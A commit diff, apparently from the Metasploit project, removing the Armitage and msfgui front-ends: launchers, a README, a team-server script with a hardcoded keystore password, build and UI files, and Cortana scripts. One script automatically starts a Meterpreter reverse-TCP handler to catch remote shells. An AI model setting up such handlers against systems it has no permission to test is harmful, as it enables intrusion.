Landing #1752 - Removes msfgui and armitage
[Closes #1752] - Stable releases can be tracked here: MSFGui: http://www.scriptjunkie.us/msfgui/ Armitage: http://www.fastandeasyhacking.com/downloadunstable
8
LICENSE
|
@ -32,18 +32,10 @@ Files: external/ruby-lorcon/*
|
||||||
Copyright: 2005, dragorn and Joshua Wright
|
Copyright: 2005, dragorn and Joshua Wright
|
||||||
License: LGPL-2.1
|
License: LGPL-2.1
|
||||||
|
|
||||||
Files: external/source/armitage/* data/armitage/*
|
|
||||||
Copyright: 2010-2012 Raphael Mudge
|
|
||||||
License: BSD-3-clause
|
|
||||||
|
|
||||||
Files: external/source/byakugan/*
|
Files: external/source/byakugan/*
|
||||||
Copyright: Lurene Grenier, 2009
|
Copyright: Lurene Grenier, 2009
|
||||||
License: BSD-3-clause
|
License: BSD-3-clause
|
||||||
|
|
||||||
Files: external/source/gui/msfguijava/* data/gui/*
|
|
||||||
Copyright: 2010 scriptjunkie
|
|
||||||
License: BSD-3-clause
|
|
||||||
|
|
||||||
Files: external/source/ipwn/*
|
Files: external/source/ipwn/*
|
||||||
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
|
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
|
||||||
2007 H D Moore <hdm [at] metasploit.com>
|
2007 H D Moore <hdm [at] metasploit.com>
|
||||||
|
|
19
armitage
|
@ -1,19 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
#
|
|
||||||
# $Id$
|
|
||||||
#
|
|
||||||
# Ruby front-end to the Armitage Java user interface
|
|
||||||
#
|
|
||||||
# $Revision$
|
|
||||||
#
|
|
||||||
|
|
||||||
msfbase = __FILE__
|
|
||||||
while File.symlink?(msfbase)
|
|
||||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
|
||||||
end
|
|
||||||
|
|
||||||
if RUBY_PLATFORM =~ /mswin|mingw/i
|
|
||||||
exec "javaw", "-jar", "#{File.dirname(msfbase)}/data/armitage/armitage.jar", *ARGV
|
|
||||||
else
|
|
||||||
exec "java", "-jar", "#{File.dirname(msfbase)}/data/armitage/armitage.jar", *ARGV
|
|
||||||
end
|
|
|
@ -1 +0,0 @@
|
||||||
java -jar armitage.jar $*
|
|
Before Width: | Height: | Size: 25 KiB |
|
@ -1,90 +0,0 @@
|
||||||
=============================================================================
|
|
||||||
Armitage - Cyber Attack Management for Metasploit
|
|
||||||
=============================================================================
|
|
||||||
|
|
||||||
*** http://www.fastandeasyhacking.com ***
|
|
||||||
|
|
||||||
1. What is Armitage?
|
|
||||||
-----------------
|
|
||||||
|
|
||||||
Armitage is a graphical cyber attack management tool for Metasploit that
|
|
||||||
visualizes your targets, recommends exploits, and exposes the advanced
|
|
||||||
capabilities of the framework.
|
|
||||||
|
|
||||||
Advanced users will find Armitage valuable for managing remote Metasploit
|
|
||||||
instances and collaboration. Armitage's red team collaboration features allow
|
|
||||||
your team to use the same sessions, share data, and communicate through one
|
|
||||||
Metasploit instance.
|
|
||||||
|
|
||||||
Armitage aims to make Metasploit usable for security practitioners who
|
|
||||||
understand hacking but don't use Metasploit every day. If you want to learn
|
|
||||||
Metasploit and grow into the advanced features, Armitage can help you.
|
|
||||||
|
|
||||||
2. Documentation
|
|
||||||
-------------
|
|
||||||
|
|
||||||
The documentation for Armitage is located on the Armitage website at:
|
|
||||||
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
|
|
||||||
information on connecting Armitage to Metasploit and using it.
|
|
||||||
|
|
||||||
3. Install and Update
|
|
||||||
----------
|
|
||||||
|
|
||||||
To get started, see the manual at http://www.fastandeasyhacking.com
|
|
||||||
|
|
||||||
4. Source Code
|
|
||||||
-----------
|
|
||||||
|
|
||||||
This projected is hosted on Google Code at:
|
|
||||||
http://code.google.com/p/armitage/
|
|
||||||
|
|
||||||
5. Disclaimer
|
|
||||||
----------
|
|
||||||
|
|
||||||
Use this code for your development and don't hack systems that you don't
|
|
||||||
have permission to hack. The existence of this software does not reflect the
|
|
||||||
opinions or beliefs of my current employers, past employers, future
|
|
||||||
employers, or any small animals I come into contact with. Enjoy this
|
|
||||||
software with my blessing. I hope it helps you learn and become a better
|
|
||||||
security professional.
|
|
||||||
|
|
||||||
6. Contact
|
|
||||||
-------
|
|
||||||
|
|
||||||
Report bugs in the issue tracker at:
|
|
||||||
http://code.google.com/p/armitage/issues/list
|
|
||||||
|
|
||||||
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
|
|
||||||
sure you peruse the FAQ and Manual first.
|
|
||||||
|
|
||||||
7. License
|
|
||||||
-------
|
|
||||||
|
|
||||||
(c) 2010-2013 Raphael Mudge. This project is licensed under the BSD license.
|
|
||||||
See section 8 for more information.
|
|
||||||
|
|
||||||
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
|
||||||
JGraphX Ltd. http://www.jgraphx.com/
|
|
||||||
-
|
|
||||||
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
|
|
||||||
BSD licensed libraries.
|
|
||||||
-
|
|
||||||
Some code in src/msf/* comes from msfgui by scriptjunkie.
|
|
||||||
-
|
|
||||||
This project uses the LGPL Sleep scripting language with no modifications.
|
|
||||||
Sleep's source is available at: http://sleep.dashnine.org/
|
|
||||||
|
|
||||||
8. The BSD License
|
|
||||||
---------------
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms are permitted provided
|
|
||||||
that the above copyright notice and this paragraph are duplicated in all
|
|
||||||
such forms and that any documentation, advertising materials, and other
|
|
||||||
materials related to such distribution and use acknowledge that the
|
|
||||||
software was developed by the copyright holders. The name of the copyright
|
|
||||||
holders may not be used to endorse or promote products derived from this
|
|
||||||
software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
|
||||||
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
|
||||||
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
|
|
@ -1,72 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
# start msfrpcd and the deconfliction server. Check for common mistakes
|
|
||||||
# to save some time and head scratching...
|
|
||||||
|
|
||||||
# check the arguments
|
|
||||||
EXPECTED=2
|
|
||||||
if [ $# -ne $EXPECTED ]; then
|
|
||||||
echo "[-] You must provide: <external IP address> <team password>"
|
|
||||||
echo " <external IP address> must be reachable by Armitage"
|
|
||||||
echo " clients on port 55553"
|
|
||||||
echo " <team password> is a shared password your team uses to"
|
|
||||||
echo " authenticate to the Armitage team server"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# check that we're r00t
|
|
||||||
if [ $UID -ne 0 ]; then
|
|
||||||
echo "[-] Superuser privileges are required to run the team server"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# check if java is available...
|
|
||||||
if [ $(command -v java) ]; then
|
|
||||||
true
|
|
||||||
else
|
|
||||||
echo "[-] java is not in \$PATH"
|
|
||||||
echo " is Java installed?"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# check if keytool is available...
|
|
||||||
if [ $(command -v keytool) ]; then
|
|
||||||
true
|
|
||||||
else
|
|
||||||
echo "[-] keytool is not in \$PATH"
|
|
||||||
echo " install the Java Developer Kit"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# check if msfrpcd is available
|
|
||||||
if [ $(command -v msfrpcd) ]; then
|
|
||||||
true
|
|
||||||
else
|
|
||||||
echo "[-] msfrpcd is not in \$PATH"
|
|
||||||
echo " is Metasploit installed?"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# check if msfrpcd is running or not
|
|
||||||
if [ "$(pidof msfrpcd)" ]; then
|
|
||||||
echo "[-] msfrpcd is already running. Kill it before running this script"
|
|
||||||
echo " try: killall -9 msfrpcd"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
# generate a certificate
|
|
||||||
# naturally you're welcome to replace this step with your own permanent certificate.
|
|
||||||
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
|
|
||||||
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
|
|
||||||
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
|
|
||||||
# is printed so users may have a chance to verify they're not being owned.
|
|
||||||
echo "[+] Generating X509 certificate and keystore (for SSL)"
|
|
||||||
rm -f ./armitage.store
|
|
||||||
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
|
|
||||||
|
|
||||||
# start everything up
|
|
||||||
echo "[+] Starting RPC daemon"
|
|
||||||
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
|
|
||||||
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
|
|
||||||
sleep 20
|
|
||||||
echo "[+] Starting Armitage team server"
|
|
||||||
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
|
|
|
@ -1,60 +0,0 @@
|
||||||
<project name="armitage" default="all" basedir=".">
|
|
||||||
<property name="project.src" location="src/" />
|
|
||||||
<property name="project.build" location="bin/" />
|
|
||||||
|
|
||||||
<target name="all" depends="init, compile, jar" />
|
|
||||||
|
|
||||||
<target name="init">
|
|
||||||
<tstamp />
|
|
||||||
<mkdir dir="${project.build}" />
|
|
||||||
</target>
|
|
||||||
|
|
||||||
<target name="compile" depends="init" description="compile the source " >
|
|
||||||
<javac srcdir="${project.src}/"
|
|
||||||
destdir="${project.build}"
|
|
||||||
nowarn="yes"
|
|
||||||
depend="yes"
|
|
||||||
debug="true"
|
|
||||||
optimize="yes"
|
|
||||||
target="1.6"
|
|
||||||
source="1.6"
|
|
||||||
includeantruntime="fuckno"
|
|
||||||
>
|
|
||||||
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
|
|
||||||
</javac>
|
|
||||||
</target>
|
|
||||||
|
|
||||||
<target name="jar" depends="compile">
|
|
||||||
<unzip src="lib/sleep.jar" dest="bin" />
|
|
||||||
<unzip src="lib/jgraphx.jar" dest="bin" />
|
|
||||||
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
|
|
||||||
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
|
|
||||||
<copy todir="bin/scripts">
|
|
||||||
<fileset dir="scripts" />
|
|
||||||
</copy>
|
|
||||||
<copy todir="bin/scripts-cortana">
|
|
||||||
<fileset dir="scripts-cortana" />
|
|
||||||
</copy>
|
|
||||||
|
|
||||||
<copy todir="bin/resources">
|
|
||||||
<fileset dir="resources" />
|
|
||||||
</copy>
|
|
||||||
|
|
||||||
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
|
|
||||||
<manifest>
|
|
||||||
<attribute name="Main-Class" value="armitage.ArmitageMain" />
|
|
||||||
</manifest>
|
|
||||||
</jar>
|
|
||||||
|
|
||||||
<jar destfile="cortana.jar" basedir="bin" includes="**/*">
|
|
||||||
<manifest>
|
|
||||||
<attribute name="Main-Class" value="cortana.Main" />
|
|
||||||
</manifest>
|
|
||||||
</jar>
|
|
||||||
</target>
|
|
||||||
|
|
||||||
<target name="clean" description="clean up" >
|
|
||||||
<delete dir="${project.build}"/>
|
|
||||||
</target>
|
|
||||||
</project>
|
|
||||||
|
|
|
@ -1,90 +0,0 @@
|
||||||
=============================================================================
|
|
||||||
Armitage - Cyber Attack Management for Metasploit
|
|
||||||
=============================================================================
|
|
||||||
|
|
||||||
*** http://www.fastandeasyhacking.com ***
|
|
||||||
|
|
||||||
1. What is Armitage?
|
|
||||||
-----------------
|
|
||||||
|
|
||||||
Armitage is a graphical cyber attack management tool for Metasploit that
|
|
||||||
visualizes your targets, recommends exploits, and exposes the advanced
|
|
||||||
capabilities of the framework.
|
|
||||||
|
|
||||||
Advanced users will find Armitage valuable for managing remote Metasploit
|
|
||||||
instances and collaboration. Armitage's red team collaboration features allow
|
|
||||||
your team to use the same sessions, share data, and communicate through one
|
|
||||||
Metasploit instance.
|
|
||||||
|
|
||||||
Armitage aims to make Metasploit usable for security practitioners who
|
|
||||||
understand hacking but don't use Metasploit every day. If you want to learn
|
|
||||||
Metasploit and grow into the advanced features, Armitage can help you.
|
|
||||||
|
|
||||||
2. Documentation
|
|
||||||
-------------
|
|
||||||
|
|
||||||
The documentation for Armitage is located on the Armitage website at:
|
|
||||||
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
|
|
||||||
information on connecting Armitage to Metasploit and using it.
|
|
||||||
|
|
||||||
3. Install and Update
|
|
||||||
----------
|
|
||||||
|
|
||||||
To get started, see the manual at http://www.fastandeasyhacking.com
|
|
||||||
|
|
||||||
4. Source Code
|
|
||||||
-----------
|
|
||||||
|
|
||||||
This projected is hosted on Google Code at:
|
|
||||||
http://code.google.com/p/armitage/
|
|
||||||
|
|
||||||
5. Disclaimer
|
|
||||||
----------
|
|
||||||
|
|
||||||
Use this code for your development and don't hack systems that you don't
|
|
||||||
have permission to hack. The existence of this software does not reflect the
|
|
||||||
opinions or beliefs of my current employers, past employers, future
|
|
||||||
employers, or any small animals I come into contact with. Enjoy this
|
|
||||||
software with my blessing. I hope it helps you learn and become a better
|
|
||||||
security professional.
|
|
||||||
|
|
||||||
6. Contact
|
|
||||||
-------
|
|
||||||
|
|
||||||
Report bugs in the issue tracker at:
|
|
||||||
http://code.google.com/p/armitage/issues/list
|
|
||||||
|
|
||||||
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
|
|
||||||
sure you peruse the FAQ and Manual first.
|
|
||||||
|
|
||||||
7. License
|
|
||||||
-------
|
|
||||||
|
|
||||||
(c) 2010-2013 Raphael Mudge. This project is licensed under the BSD license.
|
|
||||||
See section 8 for more information.
|
|
||||||
|
|
||||||
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
|
||||||
JGraphX Ltd. http://www.jgraphx.com/
|
|
||||||
-
|
|
||||||
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
|
|
||||||
BSD licensed libraries.
|
|
||||||
-
|
|
||||||
Some code in src/msf/* comes from msfgui by scriptjunkie.
|
|
||||||
-
|
|
||||||
This project uses the LGPL Sleep scripting language with no modifications.
|
|
||||||
Sleep's source is available at: http://sleep.dashnine.org/
|
|
||||||
|
|
||||||
8. The BSD License
|
|
||||||
---------------
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms are permitted provided
|
|
||||||
that the above copyright notice and this paragraph are duplicated in all
|
|
||||||
such forms and that any documentation, advertising materials, and other
|
|
||||||
materials related to such distribution and use acknowledge that the
|
|
||||||
software was developed by the copyright holders. The name of the copyright
|
|
||||||
holders may not be used to endorse or promote products derived from this
|
|
||||||
software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
|
||||||
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
|
||||||
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
|
|
@ -1,23 +0,0 @@
|
||||||
<html>
|
|
||||||
<body>
|
|
||||||
<center><h1>Armitage 1.45</h1></center>
|
|
||||||
|
|
||||||
<p>An attack management tool for Metasploit®
|
|
||||||
<br />Release: 6 Mar 13</p>
|
|
||||||
<br />
|
|
||||||
<p>Developed by:</p>
|
|
||||||
|
|
||||||
<ul>
|
|
||||||
<li>Raphael Mudge (raffi)</li>
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
<p>External code:</p>
|
|
||||||
|
|
||||||
<ul>
|
|
||||||
<li>MSF RPC code by scriptjunkie (BSD license)</li>
|
|
||||||
<li>JGraph by JGraph Ltd. (BSD license)</li>
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
<p><small>Metasploit® is a registered trademark of Rapid7</small></p>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
Before Width: | Height: | Size: 101 KiB |
Before Width: | Height: | Size: 1.9 KiB |
Before Width: | Height: | Size: 28 KiB |
|
@ -1,58 +0,0 @@
|
||||||
#Armitage Configuration
|
|
||||||
#Fri Oct 15 18:08:08 EDT 2010
|
|
||||||
graph.font.font=Monospaced-BOLD-14
|
|
||||||
console.clear_screen.shortcut=ctrl pressed K
|
|
||||||
graph.zoom_out.shortcut=ctrl pressed MINUS
|
|
||||||
graph.save_screenshot.shortcut=ctrl pressed P
|
|
||||||
console.font_size_reset.shortcut=ctrl pressed 0
|
|
||||||
console.page_down.shortcut=pressed PAGE_DOWN
|
|
||||||
graph.arrange_icons_circle.shortcut=ctrl pressed C
|
|
||||||
graph.selection.color=\#00ff00
|
|
||||||
graph.zoom_in.shortcut=ctrl pressed EQUALS
|
|
||||||
console.find.shortcut=ctrl pressed F
|
|
||||||
console.history_previous.shortcut=pressed UP
|
|
||||||
console.history_next.shortcut=pressed DOWN
|
|
||||||
console.page_up.shortcut=pressed PAGE_UP
|
|
||||||
console.highlight.color=\#0000cc
|
|
||||||
console.font_size_plus.shortcut=ctrl pressed EQUALS
|
|
||||||
console.font_size_minus.shortcut=ctrl pressed MINUS
|
|
||||||
console.foreground.color=\#cccccc
|
|
||||||
console.background.color=\#000000
|
|
||||||
console.font.font=Monospaced-BOLD-14
|
|
||||||
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
|
|
||||||
graph.foreground.color=\#cccccc
|
|
||||||
graph.background.color=\#111111
|
|
||||||
graph.zoom_reset.shortcut=ctrl pressed 0
|
|
||||||
console.clear_buffer.shortcut=pressed ESCAPE
|
|
||||||
graph.edge.color=\#3c6318
|
|
||||||
graph.arrange_icons_stack.shortcut=ctrl pressed S
|
|
||||||
graph.edge_highlight.color=\#00ff00
|
|
||||||
graph.default_layout.layout=stack
|
|
||||||
application.skin.skin=Nimbus
|
|
||||||
graph.clear_selection.shortcut=pressed ESCAPE
|
|
||||||
graph.select_all.shortcut=ctrl pressed A
|
|
||||||
armitage.required_exploit_rank.string=great
|
|
||||||
armitage.string.target_view=graph
|
|
||||||
console.select_all.shortcut=ctrl pressed A
|
|
||||||
armitage.log_everything.boolean=true
|
|
||||||
armitage.no_msf_banner.boolean=false
|
|
||||||
tab.highlight.color=#0000ff
|
|
||||||
armitage.show_all_commands.boolean=true
|
|
||||||
armitage.application_title.string=Armitage
|
|
||||||
console.color_0.color=\#ffffff
|
|
||||||
console.color_1.color=\#000000
|
|
||||||
console.color_2.color=\#3465A4
|
|
||||||
console.color_3.color=\#4E9A06
|
|
||||||
console.color_4.color=\#EF2929
|
|
||||||
console.color_5.color=\#CC0000
|
|
||||||
console.color_6.color=\#75507B
|
|
||||||
console.color_7.color=\#C4A000
|
|
||||||
console.color_8.color=\#FCE94F
|
|
||||||
console.color_9.color=\#8AE234
|
|
||||||
console.color_10.color=\#069A9A
|
|
||||||
console.color_11.color=\#34E2E2
|
|
||||||
console.color_12.color=\#729FCF
|
|
||||||
console.color_13.color=\#AD7FA8
|
|
||||||
console.color_14.color=\#808080
|
|
||||||
console.color_15.color=\#c0c0c0
|
|
||||||
console.show_colors.boolean=true
|
|
Before Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 66 KiB |
Before Width: | Height: | Size: 27 KiB |
|
@ -1,12 +0,0 @@
|
||||||
Metasploit's RPC daemon shut down. This is the
|
|
||||||
service Armitage uses to talk to Metasploit.
|
|
||||||
|
|
||||||
When this happens, it means something is wrong.
|
|
||||||
The developer of Armitage feels your pain from
|
|
||||||
afar. Would you like help troubleshooting this?
|
|
||||||
|
|
||||||
P.S. yes you would--the answer is known and it's
|
|
||||||
easy to deal with. Click Yes to visit the
|
|
||||||
troubleshooting guide at:
|
|
||||||
|
|
||||||
http://www.fastandeasyhacking.com/nomsfrpcd
|
|
|
@ -1,4 +0,0 @@
|
||||||
^(..:..:..) \[\*\] (.*) $1 \cC[*]\o $2
|
|
||||||
^\[\*\] (.*) \cC[*]\o $1
|
|
||||||
^(..:..:..) \* (.*) $1 \cD*\o $2
|
|
||||||
^(\w+)> \u$1\o>
|
|
Before Width: | Height: | Size: 398 KiB |
Before Width: | Height: | Size: 143 KiB |
Before Width: | Height: | Size: 81 KiB |
Before Width: | Height: | Size: 46 KiB |
Before Width: | Height: | Size: 47 KiB |
|
@ -1,12 +0,0 @@
|
||||||
^msf> \umsf\u>
|
|
||||||
^meterpreter > \umeterpreter\u >
|
|
||||||
^msf > \umsf\u >
|
|
||||||
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
|
|
||||||
^\[\*\] (.*) \cC[*]\o $1
|
|
||||||
^\[\+\] (.*) \c9[+]\o $1
|
|
||||||
^\[\!\] (.*) \c8[!]\o $1
|
|
||||||
^\[\-\] (.*) \c4[-]\o $1
|
|
||||||
^ =\[ (.*) =[\c7 $1
|
|
||||||
^(=[=\s]+) \cE$1
|
|
||||||
^(\s*-[-\s]+) \cE$1
|
|
||||||
^(.*?): (.*) $1\cE:\o $2
|
|
|
@ -1,10 +0,0 @@
|
||||||
@echo off
|
|
||||||
set BASE=$$BASE$$
|
|
||||||
cd "%BASE%"
|
|
||||||
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
|
|
||||||
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
|
|
||||||
set JAVA_HOME="%BASE%java"
|
|
||||||
:NO_JAVA
|
|
||||||
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
|
|
||||||
cd "%BASE%msf3"
|
|
||||||
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
|
|
|
@ -1,12 +0,0 @@
|
||||||
@echo off
|
|
||||||
set BASE=$$BASE$$..\..\
|
|
||||||
cd "%BASE%"
|
|
||||||
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%nmap;%BASE%postgresql\bin;%PATH%
|
|
||||||
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
|
|
||||||
set JAVA_HOME="%BASE%java"
|
|
||||||
:NO_JAVA
|
|
||||||
set MSF_DATABASE_CONFIG="%BASE%apps\pro\ui\config\database.yml"
|
|
||||||
set MSF_BUNDLE_GEMS=0
|
|
||||||
set BUNDLE_GEMFILE=%BASE%apps\pro\ui\Gemfile
|
|
||||||
cd "%BASE%apps\pro\msf3"
|
|
||||||
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
|
|
Before Width: | Height: | Size: 70 KiB |
Before Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 6.4 KiB |
Before Width: | Height: | Size: 67 KiB |
Before Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 109 KiB |
Before Width: | Height: | Size: 5.4 KiB |
Before Width: | Height: | Size: 60 KiB |
|
@ -1 +0,0 @@
|
||||||
java -classpath bin:lib/\*:. armitage.ArmitageMain $*
|
|
|
@ -1,116 +0,0 @@
|
||||||
# This file is part of a stand-alone script environment that connects Cortana to
|
|
||||||
# Metasploit, Armitage, and a postgresql database. It's a little complicated and
|
|
||||||
# twisty turny in here. Here are the rough steps:
|
|
||||||
#
|
|
||||||
# 1. Connect to the database (&main)
|
|
||||||
# 2. setup the default reverse handler (&setupHandlers)
|
|
||||||
# 3. check for the collaboration server (&checkForCollaborationServer)
|
|
||||||
# 4. setup collaboration (&setup_collaboration)
|
|
||||||
# 5. call armitage.skip to push the event log pointer to the very end.
|
|
||||||
# 6. send a flag back to the Cortana load that we're ready ([$loader passObject: ...])
|
|
||||||
#
|
|
||||||
# If any of these steps fails, Cortana will exit with a hopefully helpful error
|
|
||||||
# message.
|
|
||||||
|
|
||||||
debug(7 | 34);
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import armitage.*;
|
|
||||||
import console.*;
|
|
||||||
import ssl.*;
|
|
||||||
|
|
||||||
# create an RPC client for talking to the deconfliction server.
|
|
||||||
sub c_client {
|
|
||||||
# run this thing in its own thread to avoid really stupid deadlock situations
|
|
||||||
local('$handle');
|
|
||||||
$handle = [[new SecureSocket: $1, int($2), $null] client];
|
|
||||||
return wait(fork({
|
|
||||||
local('$client');
|
|
||||||
$client = newInstance(^RpcConnection, lambda({
|
|
||||||
writeObject($handle, @_);
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return readObject($handle);
|
|
||||||
}, \$handle));
|
|
||||||
return [new RpcAsync: $client];
|
|
||||||
}, \$handle));
|
|
||||||
}
|
|
||||||
|
|
||||||
# this function sets up a default meterpreter reverse handler on a random port. Better tha
|
|
||||||
# requiring the user to connect a client to make this happen. This function also fires the
|
|
||||||
# loader ready function which tells the script loader that this script is done processing
|
|
||||||
# and this Cortana container may continue loading and executing other scripts.
|
|
||||||
sub setupHandlers {
|
|
||||||
find_job("Exploit: multi/handler", {
|
|
||||||
if ($1 == -1) {
|
|
||||||
# set LPORT for the user...
|
|
||||||
local('$c');
|
|
||||||
$c = call($client, "console.allocate")['id'];
|
|
||||||
call($client, "console.write", $c, "setg LPORT " . randomPort() . "\n");
|
|
||||||
call($client, "console.release", $c);
|
|
||||||
|
|
||||||
# setup a handler for meterpreter
|
|
||||||
call($client, "module.execute", "exploit", "multi/handler", %(
|
|
||||||
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
|
||||||
LHOST => "0.0.0.0",
|
|
||||||
ExitOnSession => "false"
|
|
||||||
));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
sub main {
|
|
||||||
global('$client $mclient');
|
|
||||||
local('%r $exception $lhost $temp $c');
|
|
||||||
|
|
||||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
|
||||||
|
|
||||||
try {
|
|
||||||
# connect our first thread...
|
|
||||||
$mclient = c_client($host, $port);
|
|
||||||
|
|
||||||
# connect our second thread with an empty nickname
|
|
||||||
$client = c_client($host, $port);
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
println("Could not connect to $host $+ : $+ $port ( $+ $exception $+ )");
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup first thread...
|
|
||||||
%r = call($mclient, "armitage.validate", $user, $pass, $nick, "armitage", 120326);
|
|
||||||
if (%r["error"] eq "1") {
|
|
||||||
println(%r['message']);
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup second thread.
|
|
||||||
%r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326);
|
|
||||||
|
|
||||||
# resolve lhost..
|
|
||||||
$c = call($client, "console.allocate")['id'];
|
|
||||||
call($client, "console.write", $c, "setg LHOST\n");
|
|
||||||
while ($lhost eq "") {
|
|
||||||
$temp = call($client, "console.read", $c)['data'];
|
|
||||||
if (["$temp" startsWith: "LHOST => "]) {
|
|
||||||
$lhost = substr(["$temp" trim], 9);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
# this shouldn't happen because having LHOST set is a precondition
|
|
||||||
# for Cortana to connect to a team server.
|
|
||||||
sleep(1000);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
call($client, "console.release", $c);
|
|
||||||
|
|
||||||
# pass some objects back yo.
|
|
||||||
[$loader passObjects: $client, $mclient, $lhost];
|
|
||||||
|
|
||||||
# don't make previous messages available...
|
|
||||||
call($mclient, "armitage.skip");
|
|
||||||
|
|
||||||
# do some other setup stuff...
|
|
||||||
setupBaseDirectory();
|
|
||||||
setupHandlers();
|
|
||||||
}
|
|
||||||
|
|
||||||
invoke(&main);
|
|
|
@ -1,297 +0,0 @@
|
||||||
#
|
|
||||||
# UI Support Functions
|
|
||||||
#
|
|
||||||
|
|
||||||
import armitage.*;
|
|
||||||
import ui.*;
|
|
||||||
import table.*;
|
|
||||||
import graph.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import java.awt.datatransfer.*;
|
|
||||||
|
|
||||||
# ($table, $model) = _setup_table("lead", @cols, @rows, multi?)
|
|
||||||
sub _setup_table {
|
|
||||||
local('$table $model $sorter $row');
|
|
||||||
$model = [new GenericTableModel: $2, $1, 8];
|
|
||||||
foreach $row ($3) {
|
|
||||||
[$model _addEntry: $row];
|
|
||||||
}
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
|
|
||||||
if ($4) {
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
}
|
|
||||||
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
return @($table, $model);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _center {
|
|
||||||
local('$panel $c');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
|
|
||||||
foreach $c ($1) {
|
|
||||||
[$panel add: $c];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $panel;
|
